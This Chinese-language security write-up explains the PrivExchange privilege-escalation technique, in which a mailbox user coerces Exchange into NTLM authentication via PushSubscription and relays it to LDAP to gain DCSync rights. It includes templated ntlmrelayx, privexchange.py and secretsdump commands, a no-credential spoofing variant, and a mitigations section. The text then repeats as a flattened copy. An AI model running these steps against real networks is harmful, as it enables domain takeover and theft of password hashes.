滥用Exchange:距离获取域管权限只差一次API调用
字数 1949 2025-08-27 12:33:42

滥用Exchange权限提升攻击:从邮箱用户到域管理员

0x00 攻击概述

本攻击方法利用了Exchange服务器在Active Directory中的高权限,结合NTLM中继攻击技术,使攻击者能够从任意邮箱用户权限提升至域管理员权限。该攻击在默认配置下的Exchange环境中普遍有效,影响90%以上的Exchange部署。

0x01 攻击组件

攻击由三个关键组件组成:

  1. Exchange服务器的高权限:Exchange Windows Permissions组对AD域对象具有WriteDacl权限
  2. NTLM认证协议的脆弱性:易受中继攻击影响
  3. Exchange的PushSubscription功能:可诱导Exchange服务器向攻击者控制的URL发起认证

0x02 Exchange的高权限问题

Exchange服务器在AD中默认拥有过高权限:

  • "Exchange Windows Permissions"组对域对象具有WriteDacl访问权限
  • 该权限允许修改域权限,包括添加DCSync权限
  • 拥有DCSync权限可同步AD中所有用户的密码哈希

0x03 NTLM中继攻击技术

基本原理

  • 攻击者作为中间人,将受害者的NTLM认证数据中继到目标服务
  • 关键点:必须使用HTTP协议而非SMB协议中继到LDAP
  • 中继到LDAP后可修改目录对象权限,添加DCSync权限

技术限制

  • 无法将SMB认证中继到LDAP,因为:
    • SMB默认设置NTLMSSP_NEGOTIATE_SIGN标志
    • LDAP要求所有消息必须签名
    • 中继攻击无法提供有效签名
  • HTTP认证默认不设置签名标志,适合中继到LDAP

0x04 诱导Exchange认证

利用Exchange的PushSubscription功能:

  1. 攻击者通过EWS API创建推送订阅
  2. 订阅指定攻击者控制的URL作为通知端点
  3. Exchange会定期向该URL发送通知,携带NTLM认证信息
  4. 即使邮箱无活动,也可设置定期通知(如每分钟一次)

0x05 完整攻击流程

所需工具

  1. privexchange.py - 用于触发Exchange的认证
  2. ntlmrelayx.py - 用于中继NTLM认证到LDAP

攻击步骤

  1. 设置ntlmrelayx监听,目标为域控的LDAP服务:

    ntlmrelayx.py -t ldap://域控服务器FQDN --escalate-user 要提升权限的用户名
    
  2. 运行privexchange.py触发Exchange认证:

    python privexchange.py -ah 攻击者主机FQDN Exchange服务器FQDN -u 邮箱用户名 -d 域名
    
  3. Exchange会向攻击者发起认证,被中继到域控LDAP

  4. 目标用户被添加DCSync权限

  5. 使用secretsdump导出所有用户哈希:

    secretsdump.py 域名/用户名@域控服务器 -hashes :NTLM哈希
    
  6. 利用获取的哈希创建黄金票据或直接登录其他服务

0x06 无凭证攻击变种

即使没有初始凭证,也可通过以下方式发起攻击:

  1. 使用LLMNR/NBNS/mitm6欺骗技术
  2. 中继网络中的其他用户认证到Exchange EWS
  3. 使用这些凭证触发Exchange的回调
  4. 然后按照常规流程继续攻击

0x07 技术细节:签名与MIC

NTLM认证差异

  • HTTP认证

    • 默认不设置NTLMSSP_NEGOTIATE_SIGN标志
    • 适合中继到LDAP
  • SMB认证

    • 默认设置NTLMSSP_NEGOTIATE_SIGN标志
    • 中继到LDAP会失败,因为无法提供有效签名

MIC保护机制

  1. NTLMv2响应中包含AV_PAIR结构(MsvAvFlags)
  2. 当值为0x0002时,表示type 3消息包含MIC
  3. 修改NTLM消息会破坏MIC,导致认证失败
  4. 无法移除MIC,因为响应数据已用密码签名

0x08 缓解措施

主要防御手段

  1. 调整Exchange权限

    • 移除Exchange对域对象的过高权限
    • 使用PowerScript清理危险权限
  2. LDAP保护

    • 启用LDAP签名和通道绑定
    • 阻止针对LDAP的中继攻击
  3. 网络限制

    • 阻止Exchange服务器向其他工作站发起任意连接
  4. Exchange配置

    • 在IIS中启用身份认证扩展保护
    • 不要在后端Exchange服务上启用,以免破坏功能
  5. 注册表修改

    • 删除特定注册表键,防止认证反射攻击
  6. SMB保护

    • 强制Exchange服务器启用SMB签名
    • 域内所有服务器和工作站都应启用

0x09 受影响版本

测试确认受影响的版本:

  • Exchange 2013 (CU21) on Server 2012R2 → 中继到Server 2016 DC
  • Exchange 2016 (CU11) on Server 2016 → 中继到Server 2019 DC

注意:即使采用RBAC分离权限的部署方案也可能受影响。

0x0A 参考资源

  1. Exchange权限修复脚本
  2. BlackHat演讲:危险的Exchange权限
  3. ACL权限提升研究
滥用Exchange权限提升攻击:从邮箱用户到域管理员 0x00 攻击概述 本攻击方法利用了Exchange服务器在Active Directory中的高权限,结合NTLM中继攻击技术,使攻击者能够从任意邮箱用户权限提升至域管理员权限。该攻击在默认配置下的Exchange环境中普遍有效,影响90%以上的Exchange部署。 0x01 攻击组件 攻击由三个关键组件组成: Exchange服务器的高权限 :Exchange Windows Permissions组对AD域对象具有WriteDacl权限 NTLM认证协议的脆弱性 :易受中继攻击影响 Exchange的PushSubscription功能 :可诱导Exchange服务器向攻击者控制的URL发起认证 0x02 Exchange的高权限问题 Exchange服务器在AD中默认拥有过高权限: "Exchange Windows Permissions"组对域对象具有WriteDacl访问权限 该权限允许修改域权限,包括添加DCSync权限 拥有DCSync权限可同步AD中所有用户的密码哈希 0x03 NTLM中继攻击技术 基本原理 攻击者作为中间人,将受害者的NTLM认证数据中继到目标服务 关键点:必须使用HTTP协议而非SMB协议中继到LDAP 中继到LDAP后可修改目录对象权限,添加DCSync权限 技术限制 无法将SMB认证中继到LDAP,因为: SMB默认设置NTLMSSP_ NEGOTIATE_ SIGN标志 LDAP要求所有消息必须签名 中继攻击无法提供有效签名 HTTP认证默认不设置签名标志,适合中继到LDAP 0x04 诱导Exchange认证 利用Exchange的PushSubscription功能: 攻击者通过EWS API创建推送订阅 订阅指定攻击者控制的URL作为通知端点 Exchange会定期向该URL发送通知,携带NTLM认证信息 即使邮箱无活动,也可设置定期通知(如每分钟一次) 0x05 完整攻击流程 所需工具 privexchange.py - 用于触发Exchange的认证 ntlmrelayx.py - 用于中继NTLM认证到LDAP 攻击步骤 设置ntlmrelayx监听,目标为域控的LDAP服务: 运行privexchange.py触发Exchange认证: Exchange会向攻击者发起认证,被中继到域控LDAP 目标用户被添加DCSync权限 使用secretsdump导出所有用户哈希: 利用获取的哈希创建黄金票据或直接登录其他服务 0x06 无凭证攻击变种 即使没有初始凭证,也可通过以下方式发起攻击: 使用LLMNR/NBNS/mitm6欺骗技术 中继网络中的其他用户认证到Exchange EWS 使用这些凭证触发Exchange的回调 然后按照常规流程继续攻击 0x07 技术细节:签名与MIC NTLM认证差异 HTTP认证 : 默认不设置NTLMSSP_ NEGOTIATE_ SIGN标志 适合中继到LDAP SMB认证 : 默认设置NTLMSSP_ NEGOTIATE_ SIGN标志 中继到LDAP会失败,因为无法提供有效签名 MIC保护机制 NTLMv2响应中包含AV_ PAIR结构(MsvAvFlags) 当值为0x0002时,表示type 3消息包含MIC 修改NTLM消息会破坏MIC,导致认证失败 无法移除MIC,因为响应数据已用密码签名 0x08 缓解措施 主要防御手段 调整Exchange权限 : 移除Exchange对域对象的过高权限 使用PowerScript清理危险权限 LDAP保护 : 启用LDAP签名和通道绑定 阻止针对LDAP的中继攻击 网络限制 : 阻止Exchange服务器向其他工作站发起任意连接 Exchange配置 : 在IIS中启用身份认证扩展保护 不要在后端Exchange服务上启用,以免破坏功能 注册表修改 : 删除特定注册表键,防止认证反射攻击 SMB保护 : 强制Exchange服务器启用SMB签名 域内所有服务器和工作站都应启用 0x09 受影响版本 测试确认受影响的版本: Exchange 2013 (CU21) on Server 2012R2 → 中继到Server 2016 DC Exchange 2016 (CU11) on Server 2016 → 中继到Server 2019 DC 注意:即使采用RBAC分离权限的部署方案也可能受影响。 0x0A 参考资源 Exchange权限修复脚本 BlackHat演讲:危险的Exchange权限 ACL权限提升研究